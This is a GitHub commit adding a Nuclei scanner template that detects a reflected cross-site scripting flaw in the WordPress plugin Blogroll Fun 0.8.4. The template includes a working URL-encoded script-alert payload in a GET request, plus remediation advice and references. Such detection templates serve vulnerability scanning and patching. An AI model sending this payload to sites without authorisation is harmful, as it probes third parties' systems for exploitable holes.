Merge pull request #5005 from projectdiscovery/wp-blogroll-fun-xss

Create wp-blogroll-fun-xss.yaml
patch-1
Prince Chaddha 2022-08-10 09:35:43 -07:00 committed by GitHub
commit fadf1ba975
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 36 additions and 0 deletions

View File

@ -0,0 +1,36 @@
id: wp-blogroll-fun-xss
info:
name: WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time (0.8.4) - Cross-Site Scripting
author: DhiyaneshDK
severity: medium
description: |
WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time version 0.8.4 is vulnerable; prior versions may also be affected.
remediation: Update to plugin version 0.8.5 or latest
reference:
- https://codevigilant.com/disclosure/wp-plugin-blogroll-fun-a3-cross-site-scripting-xss/
- https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-blogroll-fun-show-last-post-and-last-update-time-cross-site-scripting-0-8-4/
metadata:
verified: true
tags: wordpress,wp-plugin,xss,unauth,wp
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/blogroll-fun/blogroll.php?k=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Got: <script>alert(document.domain)</script><br>'
- type: word
part: header
words:
- 'text/html'
- type: status
status:
- 200